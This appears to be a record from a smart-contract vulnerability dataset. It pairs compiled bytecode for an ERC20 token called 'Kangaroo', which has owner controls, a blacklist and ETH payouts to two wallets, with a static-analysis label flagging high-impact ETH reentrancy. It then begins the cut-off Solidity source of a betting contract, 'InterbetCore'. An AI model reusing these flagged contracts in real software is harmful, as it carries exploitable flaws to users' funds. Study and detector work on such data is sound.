0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b7a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe906132ff565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c6a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee906132ff565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d54611515565b73ffffffffffffffffffffffffffffffffffffffff161480610dca5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610db2611515565b73ffffffffffffffffffffffffffffffffffffffff16145b610dd357600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16319050610df881611f6a565b50565b6000610e45600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612065565b9050919050565b610e54611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed8906132ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fa7611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b906132ff565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611075611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f9906132ff565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600981526020017f4b616e6761726f6f200000000000000000000000000000000000000000000000815250905090565b61116a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee906132ff565b60405180910390fd5b8060198190555050565b611209611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906132ff565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112cc6112c5611515565b84846116e8565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611357611515565b73ffffffffffffffffffffffffffffffffffffffff1614806113cd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b5611515565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d657600080fd5b60006113e130610dfb565b90506113ec816120d3565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147e611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461150b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611502906132ff565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115849061337f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f49061325f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116db919061339f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f9061333f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bf906131df565b60405180910390fd5b6000811161180b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118029061331f565b60405180910390fd5b611813611044565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118815750611851611044565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0557601660149054906101000a900460ff1661192757601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d906131ff565b60405180910390fd5b5b60175481111561196c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119639061323f565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a105750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a469061327f565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611afc5760185481611ab184610dfb565b611abb91906134d5565b10611afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af29061335f565b60405180910390fd5b5b6000611b0730610dfb565b9050600060195482101590506017548210611b225760175491505b808015611b3c5750601660159054906101000a900460ff16155b8015611b965750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611bac575060168054906101000a900460ff165b15611c0257611bba826120d3565b60003073ffffffffffffffffffffffffffffffffffffffff163190506000811115611c0057611bff3073ffffffffffffffffffffffffffffffffffffffff1631611f6a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cac5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d5f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d5e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d6d5760009050611ef4565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e3057600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611edb5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357600a54600c81905550600b54600d819055505b5b611f0084848484612405565b50505050565b6000838311158290611f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4591906131bd565b60405180910390fd5b5060008385611f5d91906135b6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fba60028461243290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fe5573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61203660028461243290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612061573d6000803e3d6000fd5b5050565b60006006548211156120ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a39061321f565b60405180910390fd5b60006120b661247c565b90506120cb818461243290919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612131577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561215f5781602001602082028036833780820191505090505b509050308160008151811061219d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561225b57600080fd5b505afa15801561226f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122939190612c48565b816001815181106122cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061233430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461151d565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016123b49594939291906133ba565b600060405180830381600087803b1580156123ce57600080fd5b505af11580156123e2573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612413576124126124a7565b5b61241e8484846124ea565b8061242c5761242b6126b5565b5b50505050565b600061247483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126c9565b905092915050565b600080600061248961272c565b915091506124a0818361243290919063ffffffff16565b9250505090565b6000600c541480156124bb57506000600d54145b156124c5576124e8565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124fc87612794565b95509550955095509550955061255a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127fc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ef85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b816128a4565b6126458483612961565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126a2919061339f565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270791906131bd565b60405180910390fd5b506000838561271f919061352b565b9050809150509392505050565b6000806000600654905060006a084595161401484a00000090506127666a084595161401484a00000060065461243290919063ffffffff16565b821015612787576006546a084595161401484a000000935093505050612790565b81819350935050505b9091565b60008060008060008060008060006127b18a600c54600d5461299b565b92509250925060006127c161247c565b905060008060006127d48e878787612a31565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061283e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f06565b905092915050565b600080828461285591906134d5565b90508381101561289a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128919061329f565b60405180910390fd5b8091505092915050565b60006128ae61247c565b905060006128c58284612aba90919063ffffffff16565b905061291981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612976826006546127fc90919063ffffffff16565b6006819055506129918160075461284690919063ffffffff16565b6007819055505050565b6000806000806129c760646129b9888a612aba90919063ffffffff16565b61243290919063ffffffff16565b905060006129f160646129e3888b612aba90919063ffffffff16565b61243290919063ffffffff16565b90506000612a1a82612a0c858c6127fc90919063ffffffff16565b6127fc90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a4a8589612aba90919063ffffffff16565b90506000612a618689612aba90919063ffffffff16565b90506000612a788789612aba90919063ffffffff16565b90506000612aa182612a9385876127fc90919063ffffffff16565b6127fc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612acd5760009050612b2f565b60008284612adb919061355c565b9050828482612aea919061352b565b14612b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b21906132df565b60405180910390fd5b809150505b92915050565b6000612b48612b4384613454565b61342f565b90508083825260208201905082856020860282011115612b6757600080fd5b60005b85811015612b975781612b7d8882612ba1565b845260208401935060208301925050600181019050612b6a565b5050509392505050565b600081359050612bb081613b7a565b92915050565b600081519050612bc581613b7a565b92915050565b600082601f830112612bdc57600080fd5b8135612bec848260208601612b35565b91505092915050565b600081359050612c0481613b91565b92915050565b600081359050612c1981613ba8565b92915050565b600060208284031215612c3157600080fd5b6000612c3f84828501612ba1565b91505092915050565b600060208284031215612c5a57600080fd5b6000612c6884828501612bb6565b91505092915050565b60008060408385031215612c8457600080fd5b6000612c9285828601612ba1565b9250506020612ca385828601612ba1565b9150509250929050565b600080600060608486031215612cc257600080fd5b6000612cd086828701612ba1565b9350506020612ce186828701612ba1565b9250506040612cf286828701612c0a565b9150509250925092565b60008060408385031215612d0f57600080fd5b6000612d1d85828601612ba1565b9250506020612d2e85828601612bf5565b9150509250929050565b60008060408385031215612d4b57600080fd5b6000612d5985828601612ba1565b9250506020612d6a85828601612c0a565b9150509250929050565b600060208284031215612d8657600080fd5b600082013567ffffffffffffffff811115612da057600080fd5b612dac84828501612bcb565b91505092915050565b600060208284031215612dc757600080fd5b6000612dd584828501612bf5565b91505092915050565b600060208284031215612df057600080fd5b6000612dfe84828501612c0a565b91505092915050565b60008060008060808587031215612e1d57600080fd5b6000612e2b87828801612c0a565b9450506020612e3c87828801612c0a565b9350506040612e4d87828801612c0a565b9250506060612e5e87828801612c0a565b91505092959194509250565b6000612e768383612e82565b60208301905092915050565b612e8b816135ea565b82525050565b612e9a816135ea565b82525050565b6000612eab82613490565b612eb581856134b3565b9350612ec083613480565b8060005b83811015612ef1578151612ed88882612e6a565b9750612ee3836134a6565b925050600181019050612ec4565b5085935050505092915050565b612f07816135fc565b82525050565b612f168161363f565b82525050565b612f2581613663565b82525050565b6000612f368261349b565b612f4081856134c4565b9350612f50818560208601613675565b612f59816137af565b840191505092915050565b6000612f716023836134c4565b9150612f7c826137c0565b604082019050919050565b6000612f94603f836134c4565b9150612f9f8261380f565b604082019050919050565b6000612fb7602a836134c4565b9150612fc28261385e565b604082019050919050565b6000612fda601c836134c4565b9150612fe5826138ad565b602082019050919050565b6000612ffd6022836134c4565b9150613008826138d6565b604082019050919050565b60006130206023836134c4565b915061302b82613925565b604082019050919050565b6000613043601b836134c4565b915061304e82613974565b602082019050919050565b60006130666017836134c4565b91506130718261399d565b602082019050919050565b60006130896021836134c4565b9150613094826139c6565b604082019050919050565b60006130ac6020836134c4565b91506130b782613a15565b602082019050919050565b60006130cf6029836134c4565b91506130da82613a3e565b604082019050919050565b60006130f26025836134c4565b91506130fd82613a8d565b604082019050919050565b60006131156023836134c4565b915061312082613adc565b604082019050919050565b60006131386024836134c4565b915061314382613b2b565b604082019050919050565b61315781613628565b82525050565b61316681613632565b82525050565b60006020820190506131816000830184612e91565b92915050565b600060208201905061319c6000830184612efe565b92915050565b60006020820190506131b76000830184612f0d565b92915050565b600060208201905081810360008301526131d78184612f2b565b905092915050565b600060208201905081810360008301526131f881612f64565b9050919050565b6000602082019050818103600083015261321881612f87565b9050919050565b6000602082019050818103600083015261323881612faa565b9050919050565b6000602082019050818103600083015261325881612fcd565b9050919050565b6000602082019050818103600083015261327881612ff0565b9050919050565b6000602082019050818103600083015261329881613013565b9050919050565b600060208201905081810360008301526132b881613036565b9050919050565b600060208201905081810360008301526132d881613059565b9050919050565b600060208201905081810360008301526132f88161307c565b9050919050565b600060208201905081810360008301526133188161309f565b9050919050565b60006020820190508181036000830152613338816130c2565b9050919050565b60006020820190508181036000830152613358816130e5565b9050919050565b6000602082019050818103600083015261337881613108565b9050919050565b600060208201905081810360008301526133988161312b565b9050919050565b60006020820190506133b4600083018461314e565b92915050565b600060a0820190506133cf600083018861314e565b6133dc6020830187612f1c565b81810360408301526133ee8186612ea0565b90506133fd6060830185612e91565b61340a608083018461314e565b9695505050505050565b6000602082019050613429600083018461315d565b92915050565b600061343961344a565b905061344582826136a8565b919050565b6000604051905090565b600067ffffffffffffffff82111561346f5761346e613780565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134e082613628565b91506134eb83613628565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156135205761351f613722565b5b828201905092915050565b600061353682613628565b915061354183613628565b92508261355157613550613751565b5b828204905092915050565b600061356782613628565b915061357283613628565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135ab576135aa613722565b5b828202905092915050565b60006135c182613628565b91506135cc83613628565b9250828210156135df576135de613722565b5b828203905092915050565b60006135f582613608565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061364a82613651565b9050919050565b600061365c82613608565b9050919050565b600061366e82613628565b9050919050565b60005b83811015613693578082015181840152602081019050613678565b838111156136a2576000848401525b50505050565b6136b1826137af565b810181811067ffffffffffffffff821117156136d0576136cf613780565b5b80604052505050565b60006136e482613628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561371757613716613722565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613b83816135ea565b8114613b8e57600080fd5b50565b613b9a816135fc565b8114613ba557600080fd5b50565b613bb181613628565b8114613bbc57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9758ccb3c6e09c5bbaffe022c7ee29e12de3b2e459d1e9149d1c46ea205f41164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,756 |
0x445baabb911ffb59bb770c974d4ca4cf54d6f014
|
pragma solidity 0.4.24;
contract InterbetCore {
/* Global constants */
uint constant oddsDecimals = 2; // Max. decimal places of odds
uint constant feeRateDecimals = 1; // Max. decimal places of fee rate
uint public minMakerBetFund = 100 * 1 finney; // Minimum fund of a maker bet
uint public maxAllowedTakerBetsPerMakerBet = 100; // Limit the number of taker-bets in 1 maker-bet
uint public minAllowedStakeInPercentage = 1; // 100 ÷ maxAllowedTakerBetsPerMakerBet
uint public baseVerifierFee = 1 finney; // Ensure verifier has some minimal profit to cover their gas cost at least
/* Owner and admins */
address private owner;
mapping(address => bool) private admins;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function addAdmin(address addr) external onlyOwner {
admins[addr] = true;
}
function removeAdmin(address addr) external onlyOwner {
admins[addr] = false;
}
modifier onlyAdmin() {
require(admins[msg.sender] == true);
_;
}
function changeMinMakerBetFund(uint weis) external onlyAdmin {
minMakerBetFund = mul(weis, 1 wei);
}
function changeAllowedTakerBetsPerMakerBet(uint maxCount, uint minPercentage) external onlyAdmin {
maxAllowedTakerBetsPerMakerBet = maxCount;
minAllowedStakeInPercentage = minPercentage;
}
function changeBaseVerifierFee(uint weis) external onlyAdmin {
baseVerifierFee = mul(weis, 1 wei);
}
/* Events */
event LogUpdateVerifier(address indexed addr, uint oldFeeRate, uint newFeeRate);
event LogMakeBet(uint indexed makerBetId, address indexed maker);
event LogAddFund(uint indexed makerBetId, address indexed maker, uint oldTotalFund, uint newTotalFund);
event LogUpdateOdds(uint indexed makerBetId, address indexed maker, uint oldOdds, uint newOdds);
event LogPauseBet(uint indexed makerBetId, address indexed maker);
event LogReopenBet(uint indexed makerBetId, address indexed maker);
event LogCloseBet(uint indexed makerBetId, address indexed maker);
event LogTakeBet(uint indexed makerBetId, address indexed maker, uint indexed takerBetId, address taker);
event LogSettleBet(uint indexed makerBetId, address indexed maker);
event LogWithdraw(uint indexed makerBetId, address indexed maker, address indexed addr);
/* Betting Core */
enum BetStatus {
Open,
Paused,
Closed,
Settled
}
enum BetOutcome {
NotSettled,
MakerWin,
TakerWin,
Draw,
Canceled
}
struct MakerBet {
uint makerBetId;
address maker;
uint odds;
uint totalFund;
Verifier trustedVerifier;
uint expiry;
BetStatus status;
uint reservedFund;
uint takerBetsCount;
uint totalStake;
TakerBet[] takerBets;
BetOutcome outcome;
bool makerFundWithdrawn;
bool trustedVerifierFeeSent;
}
struct TakerBet {
uint takerBetId;
address taker;
uint odds;
uint stake;
bool settled;
}
struct Verifier {
address addr;
uint feeRate;
}
uint public makerBetsCount;
mapping(uint => mapping(address => MakerBet)) private makerBets;
mapping(address => Verifier) private verifiers;
constructor() public {
owner = msg.sender;
makerBetsCount = 0;
}
function () external payable {
revert();
}
/// Update verifier's data
function updateVerifier(uint feeRate) external {
require(feeRate >= 0 && feeRate <= ((10 ** feeRateDecimals) * 100));
Verifier storage verifier = verifiers[msg.sender];
uint oldFeeRate = verifier.feeRate;
verifier.addr = msg.sender;
verifier.feeRate = feeRate;
emit LogUpdateVerifier(msg.sender, oldFeeRate, feeRate);
}
/// Make a bet
function makeBet(uint makerBetId, uint odds, address trustedVerifier, uint trustedVerifierFeeRate, uint expiry) external payable {
uint fund = sub(msg.value, baseVerifierFee);
require(fund >= minMakerBetFund);
require(odds > (10 ** oddsDecimals) && odds < ((10 ** 8) * (10 ** oddsDecimals)));
require(expiry > now);
MakerBet storage makerBet = makerBets[makerBetId][msg.sender];
require(makerBet.makerBetId == 0);
Verifier memory verifier = verifiers[trustedVerifier];
require(verifier.addr != address(0x0));
require(trustedVerifierFeeRate == verifier.feeRate);
makerBet.makerBetId = makerBetId;
makerBet.maker = msg.sender;
makerBet.odds = odds;
makerBet.totalFund = fund;
makerBet.trustedVerifier = Verifier(verifier.addr, verifier.feeRate);
makerBet.expiry = expiry;
makerBet.status = BetStatus.Open;
makerBet.reservedFund = 0;
makerBet.takerBetsCount = 0;
makerBet.totalStake = 0;
makerBetsCount++;
emit LogMakeBet(makerBetId, msg.sender);
}
/// Increase total fund of a bet
function addFund(uint makerBetId) external payable {
MakerBet storage makerBet = makerBets[makerBetId][msg.sender];
require(makerBet.makerBetId != 0);
require(now < makerBet.expiry);
require(makerBet.status == BetStatus.Open || makerBet.status == BetStatus.Paused);
require(msg.sender == makerBet.maker);
require(msg.value > 0);
uint oldTotalFund = makerBet.totalFund;
makerBet.totalFund = add(makerBet.totalFund, msg.value);
emit LogAddFund(makerBetId, msg.sender, oldTotalFund, makerBet.totalFund);
}
/// Update odds of a bet
function updateOdds(uint makerBetId, uint odds) external {
require(odds > (10 ** oddsDecimals) && odds < ((10 ** 8) * (10 ** oddsDecimals)));
MakerBet storage makerBet = makerBets[makerBetId][msg.sender];
require(makerBet.makerBetId != 0);
require(now < makerBet.expiry);
require(makerBet.status == BetStatus.Open || makerBet.status == BetStatus.Paused);
require(msg.sender == makerBet.maker);
require(odds != makerBet.odds);
uint oldOdds = makerBet.odds;
makerBet.odds = odds;
emit LogUpdateOdds(makerBetId, msg.sender, oldOdds, makerBet.odds);
}
/// Pause a bet
function pauseBet(uint makerBetId) external {
MakerBet storage makerBet = makerBets[makerBetId][msg.sender];
require(makerBet.makerBetId != 0);
require(makerBet.status == BetStatus.Open);
require(msg.sender == makerBet.maker);
makerBet.status = BetStatus.Paused;
emit LogPauseBet(makerBetId, msg.sender);
}
/// Reopen a bet
function reopenBet(uint makerBetId) external {
MakerBet storage makerBet = makerBets[makerBetId][msg.sender];
require(makerBet.makerBetId != 0);
require(makerBet.status == BetStatus.Paused);
require(msg.sender == makerBet.maker);
makerBet.status = BetStatus.Open;
emit LogReopenBet(makerBetId, msg.sender);
}
/// Close a bet and withdraw unused fund
function closeBet(uint makerBetId) external {
MakerBet storage makerBet = makerBets[makerBetId][msg.sender];
require(makerBet.makerBetId != 0);
require(makerBet.status == BetStatus.Open || makerBet.status == BetStatus.Paused);
require(msg.sender == makerBet.maker);
makerBet.status = BetStatus.Closed;
// refund unused fund to maker
uint unusedFund = sub(makerBet.totalFund, makerBet.reservedFund);
if (unusedFund > 0) {
makerBet.totalFund = makerBet.reservedFund;
uint refundAmount = unusedFund;
if (makerBet.totalStake == 0) {
refundAmount = add(refundAmount, baseVerifierFee); // Refund base verifier fee too if no taker-bets, because verifier do not need to settle the bet with no takers
makerBet.makerFundWithdrawn = true;
}
if (!makerBet.maker.send(refundAmount)) {
makerBet.totalFund = add(makerBet.totalFund, unusedFund);
makerBet.status = BetStatus.Paused;
makerBet.makerFundWithdrawn = false;
} else {
emit LogCloseBet(makerBetId, msg.sender);
}
} else {
emit LogCloseBet(makerBetId, msg.sender);
}
}
/// Take a bet
function takeBet(uint makerBetId, address maker, uint odds, uint takerBetId) external payable {
require(msg.sender != maker);
require(msg.value > 0);
MakerBet storage makerBet = makerBets[makerBetId][maker];
require(makerBet.makerBetId != 0);
require(msg.sender != makerBet.trustedVerifier.addr);
require(now < makerBet.expiry);
require(makerBet.status == BetStatus.Open);
require(makerBet.odds == odds);
// Avoid too many taker-bets in one maker-bet
require(makerBet.takerBetsCount < maxAllowedTakerBetsPerMakerBet);
// Avoid too many tiny bets
uint minAllowedStake = mul(mul(makerBet.totalFund, (10 ** oddsDecimals)), minAllowedStakeInPercentage) / sub(odds, (10 ** oddsDecimals)) / 100;
